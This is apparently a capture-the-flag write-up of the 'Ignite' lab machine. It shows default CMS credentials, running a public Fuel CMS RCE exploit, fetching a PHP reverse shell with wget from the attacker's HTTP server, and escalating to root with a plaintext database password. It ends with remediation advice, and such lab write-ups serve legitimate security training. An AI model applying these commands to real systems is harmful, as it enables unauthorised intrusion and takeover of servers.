Ignite
A new start-up has a few issues with their web server.
Enumeration
As per usual, we start with an nmap service-detection scan:
We only have port 80 open, as it seems. Let’s check out the website on our browser.
This is the default page of a content management system, which is known to be very vulnerable. The default page contains some steps for setting up the CMS.
However, if we scroll near the bottom…

We have credentials and the link to the admin panel! We can successfully log into the admin panel with the default credentials. So much for changing the default username/password.
Administrative Panel

We are in! Let’s dig around here a little.
Here under pages>Upload, we find a file upload portal. We can use this to get a PHP reverse shell back to our system. However, we should look out for any potential file upload filters, so let’s test this out.

Let’s create an empty test.php and see if it’s allowed.

We can try some of the alternative file extensions for PHP. I found some on books.hacktricks.xyz. However, it seems like the filter does a pretty good job at blocking the different PHP file types.
It seems like we have reached a dead end with this one.
Finding Vulnerabilities & Gaining Initial Access
Being desperate, I resorted to searching for vulnerabilities in Fuel CMS 1.4, hoping to find some CVEs or exploits. It seems like we are lucky this time: there is an exploit for an RCE vulnerability on Exploit-DB.
We can download this exploit or copy it to our current working directory.
We can run this exploit by running python3 50477.py -u <url>.

Very nice, we are provided with a shell session straight away, and I have verified that we are indeed on the target machine as the www-data user. However, this shell session seems to be fairly limited: we can’t even cd out of the /var/www/html directory. We should transition to another shell session if possible. We can do this by getting a PHP web shell into the directory and thus launching a reverse shell.
I personally used the PHP reverse shell from the webshell AUR package for Arch Linux, which is the same as the shells from the /usr/share/webshells/ directory in Kali Linux. The best way to transfer the file to the target is by using the Python HTTP server method. We can set up the server with python3 -m http.server and run wget http://<your_thm_ip>/shell.php on the target. We can then set up the listener and open this file on the target from our browser.
Success!!!
The user.txt file can be found under /home/www-data, even though that is not the user’s home directory.
Privilege Escalation
Now let’s root this bad boy.
We can run the linpeas script on the target system, which can be transferred with the python web server method. It will output a lot of information that is not necessarily useful. However, one line caught my eye:
'password' => 'mememe',
This is a password in a PHP configuration file located at /var/www/html/fuel/application/config/database.php. Maybe this is the root password? This turned out to be the case after I tried to su root. We have successfully rooted this machine, all thanks to passwords displayed in plain text in configuration files.
Conclusion
This box is quite unusual. First, we found the default credentials to an admin panel of the CMS that did not seem to give us a way forward. We then found that the particular version of the CMS the target is running has a Remote Code Execution vulnerability. We then used the exploit for said vulnerability to gain initial access. After that, we escalated our privileges by finding a password lying around in a configuration file, which is a privilege escalation vector that did not come to my mind at first.
Recommendations
- Remove the default page and change CMS admin default credentials to prevent attackers from gaining access to it and potentially defacing the website.
- Update the Fuel CMS to patch the RCE vulnerability that could lead attackers to gain access to the machine.
- Remove the root credentials inside
/var/www/html/fuel/application/config/database.phpto prevent attackers from escalating their privileges.
Thank you guys for reading this write-up. I hope you enjoyed it.